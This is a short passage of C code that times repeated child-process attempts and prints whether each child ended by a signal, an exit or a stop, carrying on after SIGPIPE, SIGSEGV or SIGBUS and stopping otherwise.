if (gettimeofday(&stop, NULL)) die();
timersub(&stop, &start, &diff);
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
if (WIFSIGNALED(status)) {
printf("signal %d\n", WTERMSIG(status));
switch (WTERMSIG(status)) {
case SIGPIPE:
case SIGSEGV:
case SIGBUS:
break;
default:
die();
}
} else if (WIFEXITED(status)) {
printf("exited %d\n", WEXITSTATUS(status));
die();
} else if (WIFSTOPPED(status)) {
printf("stopped %d\n", WSTOPSIG(status));
die();
} else {
printf("unknown %d\n", status);
die();
}
}
die();
}